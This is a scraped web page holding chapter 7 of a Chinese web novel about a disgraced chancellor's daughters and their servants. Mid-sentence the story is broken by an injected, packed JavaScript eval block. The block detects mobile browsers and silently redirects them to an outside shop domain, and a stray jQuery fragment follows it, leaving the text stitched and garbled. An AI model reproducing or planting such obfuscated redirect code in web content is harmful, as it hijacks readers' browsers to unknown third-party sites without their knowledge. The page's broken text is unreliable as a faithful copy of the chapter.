文趣网 > 其他小说 > 我是龙傲天奸相的遗孀 > 7. 第 7 章 姐妹花园讽清流
    五更天,一声高亢的鸡鸣,从高家的鸡舍里传来。

    “高大娘子,醒醒——已经是寅时初。”

    高夹钟睡眼惺忪,只觉眼皮外亮如白昼,竟比她在杜家候着公婆晨起时还要明亮几分。她睁开眼睛,瞧见屋内两侧墙壁摆着燃烧的烛架。发现这屋子是她出嫁前的闺房,才想起来她和杜善昨日已经和离,后来搬回了高家。

    鹑火正上前给高夹钟更衣,高夹钟却挣脱她,再次躺了回去:“我如今也没有公婆,父母也不在府内,今天也不必请安了。”

    “您怕是贵人多忘事,忘掉了高家的规矩。高相规定过,高家内眷早起晨省前,要练习一遍圣上亲编的《鹤形操》。二娘子已经在后花园等您了。”

    “《鹤形操》?”高夹钟整张脸皱巴,高家确实有这个规矩。她爹作为大幽第一奸臣,十年政坛屹立不倒,自然靠的是一身谄媚。

    那位“太玄广无极天仙·紫宸永寿·总掌五方天雷·元始玄境无量道帝君”的胡作非为,在他们高家自然是金科玉律。至少在外人面前,高家全家要对这位自称“下凡历劫的神仙”,展现出绝对的尊敬和崇拜。

    高夹钟梳洗完毕后,披着渐行渐隐的月光前往后花园,看见高致婉身披一件绣着《道德经》全文的宽阔长袍,摆出笔直的站桩姿势。高却恙也是同样打扮,闭着双目歪歪扭扭地站桩。

    鹑火也给高夹钟披上了同款《道德经》长袍,高夹钟并未摆出动作,而是侧目瞅着高致婉。她心说,今日母亲不在家,父亲又仙逝了,说不准二妹也没打算陪皇帝胡闹,她们姐弟三人今日就偷懒算了。

    高致婉抬起眼皮,与高夹钟对视半晌,高夹钟微微点了两下头,高致婉自行退后了两步。高却恙不知所措,先看看高夹钟,后看看高致婉,随后收起了姿势,左手搓了搓右手取暖。

    谁料,高致婉忽地展开双臂,从头到尾跳起了《鹤形操》,高却恙见二姐起跳,也紧跟在后面跳起操。

    高夹钟见两位战友皆叛变,也只好模仿两人的动作,认真地比划了一遍《鹤形操》。

    她身上披着的袍子轻薄而宽大,轻轻摆动四肢,初春的寒风便顺着袖子的阔口灌进去。袖底柔嫩的肌肤,被寒风激出鸡皮疙瘩,可她还要忍下寒冷继续律动。

    高致婉跳完一遍《鹤形操》解下了她的单薄长袍,换上了银丝狐裘,丫鬟在旁边矮石桌,摆上了两杯热乎的茶。她抿了一口茶。

    高却恙因为年纪小,被送回自己燃着银炭的暖房。

    高夹钟坐在高致婉对面,也捧着茶杯暖手,又道:“二妹,既然今天爹娘不在,我们何必大冷天的早起跳这个。”

    “我看《鹤形操》挺好的。若曦说过,‘练得身形似鹤形,不怕仇家勒脖颈’1。”高致婉不咸不淡地说了一句。

    高夹钟摇摇头:“家里的仆人多是佣兵出身,也仅比皇宫的守备稍逊三分,还能有谁潜进来勒我们的脖颈?”

    正说话间,她们姐妹的丫鬟鹑火和流火,分别端上来一碗蜂蜜炖蛋。

    高夹钟瞥向碗里的炖蛋,拿勺子搅了搅,“这……寻常人家坐月子吃的。我们一个刚和离,一个待嫁,还用喝这个?”

    高致婉道:“这可是自家蜂园产的,用的可是纯种的柃花。可不是东西两市黑心摊贩那种掺了白糖的。”

    她舀了一瓷勺,又缓缓地将蜜倒回碗中,透亮浓稠的蜜散发着淡淡的天然花香。

    看高夹钟仍未动勺,她继续道:“长姐若是想要崖蜜,咱们高家也有。只是平日里父亲要先献给圣上。如今父亲不在,我们也可以用,反正父亲也不会怪罪的。”

    高致婉说完这话,她低头看了一眼地面,仿佛说给已经魂归地下的父亲听的。

    “不用了。”高夹钟舀了一勺蜜,颜色比金条还明亮,滋味果然不同于杜家二房采购的劣质杂蜜。她亲爹不愧是天底下最大的奸臣!

    想到这里,她不由得慢了动作,总觉得碗里装的是民脂民膏。

    高致婉看高夹钟面露难色,猜出她在清流杜家呆久了,被“路有冻死骨2”这等话蛊惑了。

    高致婉笑道:“那些世家大族的男子,嘴上怜惜穷人‘心忧炭贱愿天寒3’,心里贪看贵女‘洗凝脂4’,做的是苛待妻子“泥他沽酒拔金钗5”,一边叫女子“慎勿将身轻许人6”,一边又“三嫌老丑换蛾眉7”。要我看,一切财富离不开剥削无产者,一切贵族都是既得利益的水蛭,与其做一坨优容养望的水蛭,不如去做表里如一的水蛭。”

    高夹钟捂嘴笑道:“这也是若曦说的?”

    “肯定啊。”高致婉点点头,舀了一勺蜜,看着那晶莹的丝线断掉,又缓缓融回碗里。

    她继续道:“这话也就若曦敢说。她还笑称这是‘负心汉赋魅术’,专门哄骗那种矜诩自己‘高其他女子一等’,内心又认同‘男尊女卑’的少女。”

    高夹钟笑得合不拢嘴,重新握住了勺子:“都什么时代了还男尊女卑?女子要抬起头顶着天,低头问人要饭的那是狗子。”

    高致婉道:“狗子吃饭头朝下,尾巴翘起,接地气而不接天气,所以心智不足以与人匹敌。8”

    高致婉舀了一勺蜜,润润喉咙,又眯起眼睛。见高夹钟重新进食,她总算松了一口气。

    说到这里,她有点想念那个异乡来的若曦,不由得叹息:“也不知道若曦和娘亲现在如何了。”

    高夹钟搅动碗里粘稠的蜂蜜:“咱们娘到哪里都不会吃亏。”

    高致婉收敛愁绪,转而对高夹钟提醒道:“赶紧喝吧,不一定有下顿了。”

    高夹钟道:“你怎么这么悲观?”

    高致婉道:“我乐观呀,才好好吃饭。”

    她往身前推了推碗:“好姐姐,我们得抓紧时间。有什么好吃的好玩,趁着这两天尽兴去享用。不然等父亲的死讯传来,我们要有三年清汤寡水了。”

    高夹钟一愣,父死之后儿女要斩衰三年。这期间要身穿破烂麻衣,不可食荤腥不可娱乐,睡草席枕土块,营造全浸入式哀伤的环境。

    至于这三年能不能真哀伤,没人能知道。

    真是灭绝人性的行为!

    正常人谁能沉浸在一种负面情绪里三年。要是真沉浸下去了,出来之后也得不正常了。

    可家家户户都要做,一家比一家演得认真。然而三年过后,有的人不光面色红润,甚至子孙满堂,大抵守了三年送子观音?

    高夹钟叹了一口气:“竟是些虚的。”

    “三年可不好挺过去,得提前补好气血。”高致婉转头吩咐流火:“去三合居买点二八酱,等午后我和长姐吃点涮肉。”

    *

    云津道距离蓟城并不算

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943979|214021||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    远,两地之间还修了条驰道。裴柔嘉辰时叫醒若曦,一行人半路换了快马,午时队伍便已经抵达。

    这地方地势极低,若曦刚入境就觉得头晕目眩,她又因为骑马赶路,肚子饿得咕咕叫。

    不远处飘来鸡蛋香气,裴柔嘉瞧见一缕热腾腾的水汽,便沿着水汽的方向望去。

    小贩站在手推车后面,车上架着一个烧热的长方形铁板,铁板上铺着一层薄薄的面糊。随着清脆的磕碰声,一颗白皮鸡蛋碎了壳,滚落到铁板上,划出洁白的痕迹。碧绿的葱花和若干芝麻粒洒落,最后压入一块薄薄的油饼。

    若曦咽了咽口水,看向身旁的裴柔嘉,问道:“裴夫人该是有些饿了吧?”

    裴柔嘉点头,让逐云拎了一串铜钱,她走到若曦面前,只把其中五文给了她。

    若曦瞧着不解,低声询问:“逐云姐姐,这是当着大家的面吃回扣?”

    裴柔嘉不知两人窃窃私语什么,只微抬下巴,看向不远处的鸡蛋摊,对逐云催促道:“今日事出突然,你可以先凑合买一颗现成的。”

    若曦知道高家人挑剔,但仍是不解,便跟随逐云去了蛋摊。逐云买了一只老母鸡,拿了一颗红壳的鸡蛋。

    她抱着老母鸡转头,发现若曦满脸不解地望着她,便是解释:“夫人平日里只吃天青蛋壳红蛋黄的鸡蛋。这里没有这种,只能换红壳蛋将就。至于白壳黄蛋心的,她大概吃不惯。”

    “天青壳、红壳和白壳的鸡蛋,有什么区别?”若曦纳闷地问。

    逐云摇摇头:“不知道。但夫人尝得出,说白蛋一股石灰混合腥味。这里是太偏僻,咱们高家都是给鸡喂西域进贡的胡萝卜。而且这里的鸡是笼中鸡,不如咱家院子里的草地放养鸡。”

    若曦瞪圆眼睛,笑嘻嘻地冷嘲热讽:“蛋农都没宰相夫人了解鸡蛋。然而,宰相夫人不会养鸡,蛋农未必能吃到这么讲究的蛋。”

    逐云仿佛没听到这话中的讽刺,只道:“若曦,要不你替夫人买一套鸡蛋煎饼。”

    若曦点头:“好。”

    逐云递给若曦四枚鸡蛋,和五枚铜板,继续交代:“夫人不喜食那油乎乎的炸面团。你跟那摊主说,用三枚鸡蛋做个蛋饼,不加里面的油乎乎的棍子。多出来的铜钱和鸡蛋,你自己用了吧。”

    若曦心里不知道该感激她阔绰,还是该腹诽裴柔嘉事多。难怪逐云想把这事交给她办。听闻这里民风淳朴,她把这要求说出口,指不定要被当地人笑话成什么样。

    若曦在队伍里排着,听到前方两个当地人在聊天。

    “前儿个大半夜的下妖雨咯!三更天上一轰隆,给我都轰隆醒了。我往窗外一瞅,好么,天色倍儿绿,跟王八壳子噻的。”一人心有余悸地比划着。

    “黄昏那前儿就不逮劲。有个送亲的队伍打那儿过,一阵风卷过去,抬轿儿的、吹号儿的,连带着那新郎官儿,一眨眼衣服全给风扒干净了。就轿儿里的新娘子没事。”另一人说道。

    “姐姐,我也听说了!”后头的人也凑上来嚼舌根,“听说内新娘下轿一瞧,那新郎官是个天阉,当场就闹着要退婚呐!”

    一伙人听完嘎嘎直乐,“还有介样儿的事儿!”

    若曦听到这儿,轻轻拍了拍手,也跟着凑了过去:“那敢情好哇,省得往后守活寡,还得替那阉人背那‘不下蛋’的黑锅。”